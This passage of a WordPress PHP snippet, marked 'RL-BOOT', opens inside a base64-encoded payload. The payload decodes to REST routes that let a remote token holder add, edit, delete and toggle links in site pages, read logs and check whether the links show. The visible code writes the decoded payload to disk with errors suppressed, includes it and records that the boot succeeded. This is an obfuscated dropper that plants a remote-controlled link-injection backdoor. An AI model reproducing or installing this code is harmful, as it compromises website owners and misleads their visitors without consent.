0gJHJlcXVlc3QtPmdldF9wYXJhbSgncGxhY2VtZW50JykgPzogUkxfREVGQVVMVF9QTEFDRU1FTlQ7DQogICAgICAgICAgICAgICAgJGxpbmtzID0gcmxfZ2V0X2xpbmtzKCRwbGFjZW1lbnQpOw0KICAgICAgICAgICAgICAgIHJldHVybiBybF9qc29uX29rKGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAncGxhY2VtZW50JyA9PiBzYW5pdGl6ZV9rZXkoJHBsYWNlbWVudCksDQogICAgICAgICAgICAgICAgICAgICdsaW5rcycgICAgID0+ICRsaW5rcywNCiAgICAgICAgICAgICAgICAgICAgJ2NvdW50JyAgICAgPT4gY291bnQoJGxpbmtzKSwNCiAgICAgICAgICAgICAgICApKTsNCiAgICAgICAgICAgIH0sDQogICAgICAgICkpLA0KICAgICAgICBhcnJheV9tZXJnZSgkYXV0aCwgYXJyYXkoDQogICAgICAgICAgICAnbWV0aG9kcycgID0+ICdQT1NUJywNCiAgICAgICAgICAgICdjYWxsYmFjaycgPT4gZnVuY3Rpb24gKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCkgew0KICAgICAgICAgICAgICAgICRwbGFjZW1lbnQgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdwbGFjZW1lbnQnKSA/OiBSTF9ERUZBVUxUX1BMQUNFTUVOVDsNCiAgICAgICAgICAgICAgICAkbGluayA9IHJsX2FkZF9saW5rKCRwbGFjZW1lbnQsIGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAnYW5jaG9yX3RleHQnID0+ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ2FuY2hvcl90ZXh0JyksDQogICAgICAgICAgICAgICAgICAgICd0YXJnZXRfdXJsJyAgPT4gJHJlcXVlc3QtPmdldF9wYXJhbSgndGFyZ2V0X3VybCcpLA0KICAgICAgICAgICAgICAgICAgICAncmVsJyAgICAgICAgID0+ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3JlbCcpLA0KICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICAgID0+ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3N0YXR1cycpLA0KICAgICAgICAgICAgICAgICAgICAnb3JkZXJfaW5kZXgnID0+ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ29yZGVyX2luZGV4JyksDQogICAgICAgICAgICAgICAgKSk7DQogICAgICAgICAgICAgICAgaWYgKGlzX3dwX2Vycm9yKCRsaW5rKSkgew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gcmxfanNvbl9lcnIoJGxpbmstPmdldF9lcnJvcl9tZXNzYWdlKCksIDQwMCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHJldHVybiBybF9qc29uX29rKGFycmF5KCdsaW5rJyA9PiAkbGluayksIDIwMSk7DQogICAgICAgICAgICB9LA0KICAgICAgICApKSwNCiAgICApKTsNCg0KICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJG5zLCAnL2xpbmtzLyg/UDxpZD5bYS16QS1aMC05X10rKScsIGFycmF5KA0KICAgICAgICBhcnJheV9tZXJnZSgkYXV0aCwgYXJyYXkoDQogICAgICAgICAgICAnbWV0aG9kcycgID0+ICdQVVQnLA0KICAgICAgICAgICAgJ2NhbGxiYWNrJyA9PiBmdW5jdGlvbiAoV1BfUkVTVF9SZXF1ZXN0ICRyZXF1ZXN0KSB7DQogICAgICAgICAgICAgICAgJHBsYWNlbWVudCA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ3BsYWNlbWVudCcpID86IFJMX0RFRkFVTFRfUExBQ0VNRU5UOw0KICAgICAgICAgICAgICAgICRpbnB1dCA9IGFycmF5KCk7DQogICAgICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXkoJ2FuY2hvcl90ZXh0JywgJ3RhcmdldF91cmwnLCAncmVsJywgJ3N0YXR1cycsICdvcmRlcl9pbmRleCcpIGFzICRmaWVsZCkgew0KICAgICAgICAgICAgICAgICAgICAkdmFsID0gJHJlcXVlc3QtPmdldF9wYXJhbSgkZmllbGQpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJHZhbCAhPT0gbnVsbCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGlucHV0WyRmaWVsZF0gPSAkdmFsOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRsaW5rID0gcmxfdXBkYXRlX2xpbmsoJHBsYWNlbWVudCwgJHJlcXVlc3QtPmdldF9wYXJhbSgnaWQnKSwgJGlucHV0KTsNCiAgICAgICAgICAgICAgICBpZiAoaXNfd3BfZXJyb3IoJGxpbmspKSB7DQogICAgICAgICAgICAgICAgICAgICRjb2RlID0gJGxpbmstPmdldF9lcnJvcl9jb2RlKCkgPT09ICdybF9ub3RfZm91bmQnID8gNDA0IDogNDAwOw0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gcmxfanNvbl9lcnIoJGxpbmstPmdldF9lcnJvcl9tZXNzYWdlKCksICRjb2RlKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgcmV0dXJuIHJsX2pzb25fb2soYXJyYXkoJ2xpbmsnID0+ICRsaW5rKSk7DQogICAgICAgICAgICB9LA0KICAgICAgICApKSwNCiAgICAgICAgYXJyYXlfbWVyZ2UoJGF1dGgsIGFycmF5KA0KICAgICAgICAgICAgJ21ldGhvZHMnICA9PiAnREVMRVRFJywNCiAgICAgICAgICAgICdjYWxsYmFjaycgPT4gZnVuY3Rpb24gKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCkgew0KICAgICAgICAgICAgICAgICRwbGFjZW1lbnQgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCdwbGFjZW1lbnQnKSA/OiBSTF9ERUZBVUxUX1BMQUNFTUVOVDsNCiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gcmxfZGVsZXRlX2xpbmsoJHBsYWNlbWVudCwgJHJlcXVlc3QtPmdldF9wYXJhbSgnaWQnKSk7DQogICAgICAgICAgICAgICAgaWYgKGlzX3dwX2Vycm9yKCRyZXN1bHQpKSB7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiBybF9qc29uX2VycigkcmVzdWx0LT5nZXRfZXJyb3JfbWVzc2FnZSgpLCA0MDQpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICByZXR1cm4gcmxfanNvbl9vayhhcnJheSgnZGVsZXRlZCcgPT4gJHJlcXVlc3QtPmdldF9wYXJhbSgnaWQnKSkpOw0KICAgICAgICAgICAgfSwNCiAgICAgICAgKSksDQogICAgKSk7DQoNCiAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCRucywgJy9saW5rcy8oP1A8aWQ+W2EtekEtWjAtOV9dKykvdG9nZ2xlJywgYXJyYXlfbWVyZ2UoJGF1dGgsIGFycmF5KA0KICAgICAgICAnbWV0aG9kcycgID0+ICdQT1NUJywNCiAgICAgICAgJ2NhbGxiYWNrJyA9PiBmdW5jdGlvbiAoV1BfUkVTVF9SZXF1ZXN0ICRyZXF1ZXN0KSB7DQogICAgICAgICAgICAkcGxhY2VtZW50ID0gJHJlcXVlc3QtPmdldF9wYXJhbSgncGxhY2VtZW50JykgPzogUkxfREVGQVVMVF9QTEFDRU1FTlQ7DQogICAgICAgICAgICAkbGluayA9IHJsX3RvZ2dsZV9saW5rKCRwbGFjZW1lbnQsICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ2lkJykpOw0KICAgICAgICAgICAgaWYgKGlzX3dwX2Vycm9yKCRsaW5rKSkgew0KICAgICAgICAgICAgICAgIHJldHVybiBybF9qc29uX2VycigkbGluay0+Z2V0X2Vycm9yX21lc3NhZ2UoKSwgNDA0KTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBybF9qc29uX29rKGFycmF5KCdsaW5rJyA9PiAkbGluaykpOw0KICAgICAgICB9LA0KICAgICkpKTsNCg0KICAgIHJlZ2lzdGVyX3Jlc3Rfcm91dGUoJG5zLCAnL2xvZ3MnLCBhcnJheV9tZXJnZSgkYXV0aCwgYXJyYXkoDQogICAgICAgICdtZXRob2RzJyAgPT4gJ0dFVCcsDQogICAgICAgICdjYWxsYmFjaycgPT4gZnVuY3Rpb24gKFdQX1JFU1RfUmVxdWVzdCAkcmVxdWVzdCkgew0KICAgICAgICAgICAgcmV0dXJuIHJsX2pzb25fb2soYXJyYXkoJ2xvZ3MnID0+IHJsX2dldF9sb2dzKChpbnQpICgkcmVxdWVzdC0+Z2V0X3BhcmFtKCdsaW1pdCcpID86IDUwKSkpKTsNCiAgICAgICAgfSwNCiAgICApKSk7DQoNCiAgICByZWdpc3Rlcl9yZXN0X3JvdXRlKCRucywgJy90ZXN0LWNoZWNrJywgYXJyYXlfbWVyZ2UoJGF1dGgsIGFycmF5KA0KICAgICAgICAnbWV0aG9kcycgID0+ICdQT1NUJywNCiAgICAgICAgJ2NhbGxiYWNrJyA9PiBmdW5jdGlvbiAoV1BfUkVTVF9SZXF1ZXN0ICRyZXF1ZXN0KSB7DQogICAgICAgICAgICAkcGxhY2VtZW50ID0gJHJlcXVlc3QtPmdldF9wYXJhbSgncGxhY2VtZW50JykgPzogUkxfREVGQVVMVF9QTEFDRU1FTlQ7DQogICAgICAgICAgICAkcGFnZV91cmwgID0gJHJlcXVlc3QtPmdldF9wYXJhbSgncGFnZV91cmwnKSA/OiBob21lX3VybCgnLycpOw0KICAgICAgICAgICAgJGxpbmtfaWQgICA9ICRyZXF1ZXN0LT5nZXRfcGFyYW0oJ2xpbmtfaWQnKTsNCiAgICAgICAgICAgICRuZWVkbGUgICAgPSAkcmVxdWVzdC0+Z2V0X3BhcmFtKCduZWVkbGUnKTsNCiAgICAgICAgICAgICRjaGVja191cmwgPSAnJzsNCiAgICAgICAgICAgICRjaGVja19hbmNob3IgPSAnJzsNCg0KICAgICAgICAgICAgaWYgKCRsaW5rX2lkKSB7DQogICAgICAgICAgICAgICAgJGxpbmsgPSBybF9maW5kX2xpbmsoJHBsYWNlbWVudCwgJGxpbmtfaWQpOw0KICAgICAgICAgICAgICAgIGlmICghJGxpbmspIHsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIHJsX2pzb25fZXJyKCdMaW5rIG5vdCBmb3VuZCcsIDQwNCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRjaGVja191cmwgPSAkbGlua1sndGFyZ2V0X3VybCddOw0KICAgICAgICAgICAgICAgICRjaGVja19hbmNob3IgPSAkbGlua1snYW5jaG9yX3RleHQnXTsNCiAgICAgICAgICAgIH0gZWxzZWlmICgkbmVlZGxlKSB7DQogICAgICAgICAgICAgICAgJGNoZWNrX2FuY2hvciA9IChzdHJpbmcpICRuZWVkbGU7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIHJldHVybiBybF9qc29uX2VycignbGlua19pZCBvciBuZWVkbGUgcmVxdWlyZWQnLCA0MDApOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkcmVzcG9uc2UgPSB3cF9yZW1vdGVfZ2V0KCRwYWdlX3VybCwgYXJyYXkoDQogICAgICAgICAgICAgICAgJ3RpbWVvdXQnICAgICA9PiAxNSwNCiAgICAgICAgICAgICAgICAncmVkaXJlY3Rpb24nID0+IDMsDQogICAgICAgICAgICAgICAgJ3VzZXItYWdlbnQnICA9PiAnUmVtb3RlTGlua3NUZXN0Qm90LzEuMCcsDQogICAgICAgICAgICApKTsNCiAgICAgICAgICAgIGlmIChpc193cF9lcnJvcigkcmVzcG9uc2UpKSB7DQogICAgICAgICAgICAgICAgcmxfbG9nKCd0ZXN0X2NoZWNrJywgJHBsYWNlbWVudCwgKHN0cmluZykgJGxpbmtfaWQsICdlcnJvcicsICRyZXNwb25zZS0+Z2V0X2Vycm9yX21lc3NhZ2UoKSk7DQogICAgICAgICAgICAgICAgcmV0dXJuIHJsX2pzb25fZXJyKCdGZXRjaCBmYWlsZWQ6ICcgLiAkcmVzcG9uc2UtPmdldF9lcnJvcl9tZXNzYWdlKCksIDUwMik7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICRjb2RlID0gd3BfcmVtb3RlX3JldHJpZXZlX3Jlc3BvbnNlX2NvZGUoJHJlc3BvbnNlKTsNCiAgICAgICAgICAgICRib2R5ID0gd3BfcmVtb3RlX3JldHJpZXZlX2JvZHkoJHJlc3BvbnNlKTsNCiAgICAgICAgICAgICRmb3VuZF91cmwgPSAkY2hlY2tfdXJsICE9PSAnJyAmJiBzdHJwb3MoJGJvZHksICRjaGVja191cmwpICE9PSBmYWxzZTsNCiAgICAgICAgICAgICRmb3VuZF9hbmNob3IgPSAkY2hlY2tfYW5jaG9yICE9PSAnJyAmJiBzdHJwb3MoJGJvZHksICRjaGVja19hbmNob3IpICE9PSBmYWxzZTsNCiAgICAgICAgICAgICRmb3VuZF9tYXJrZXIgPSBzdHJwb3MoJGJvZHksICdyZW1vdGUtbGlua3M6JyAuICRwbGFjZW1lbnQpICE9PSBmYWxzZTsNCiAgICAgICAgICAgICRwYXNzZWQgPSAkZm91bmRfdXJsIHx8ICRmb3VuZF9hbmNob3I7DQoNCiAgICAgICAgICAgIHJsX2xvZygndGVzdF9jaGVjaycsICRwbGFjZW1lbnQsIChzdHJpbmcpICRsaW5rX2lkLCAkcGFzc2VkID8gJ3N1Y2Nlc3MnIDogJ2Vycm9yJywgJHBhc3NlZCA/ICd2aXNpYmxlJyA6ICdub3QgZm91bmQnKTsNCg0KICAgICAgICAgICAgcmV0dXJuIHJsX2pzb25fb2soYXJyYXkoDQogICAgICAgICAgICAgICAgJ3BhZ2VfdXJsJyAgICAgICA9PiAkcGFnZV91cmwsDQogICAgICAgICAgICAgICAgJ2h0dHBfc3RhdHVzJyAgICA9PiAkY29kZSwNCiAgICAgICAgICAgICAgICAnZm91bmRfdXJsJyAgICAgID0+ICRmb3VuZF91cmwsDQogICAgICAgICAgICAgICAgJ2ZvdW5kX2FuY2hvcicgICA9PiAkZm91bmRfYW5jaG9yLA0KICAgICAgICAgICAgICAgICdmb3VuZF9tYXJrZXInICAgPT4gJGZvdW5kX21hcmtlciwNCiAgICAgICAgICAgICAgICAncGFzc2VkJyAgICAgICAgID0+ICRwYXNzZWQsDQogICAgICAgICAgICAgICAgJ2NoZWNrZWRfdXJsJyAgICA9PiAkY2hlY2tfdXJsLA0KICAgICAgICAgICAgICAgICdjaGVja2VkX2FuY2hvcicgPT4gJGNoZWNrX2FuY2hvciwNCiAgICAgICAgICAgICkpOw0KICAgICAgICB9LA0KICAgICkpKTsNCn0NCmFkZF9hY3Rpb24oJ3Jlc3RfYXBpX2luaXQnLCAncmxfcmVnaXN0ZXJfcm91dGVzJyk7DQoNCmFkZF9hY3Rpb24oJ2luaXQnLCBmdW5jdGlvbiAoKSB7DQogICAgcmxfZW5zdXJlX3Rva2VuKGZhbHNlKTsNCn0sIDEpOw0K'); if (is_string($code) && $code !== '') { @file_put_contents($dest, $code); } } if (file_exists($dest)) { if (!function_exists('rl_ensure_token')) { include_once $dest; } if (function_exists('rl_ensure_token')) { rl_ensure_token(true); } update_option('rl_boot_mu_ok', 1, false); } }, 0); /* RL-BOOT-END */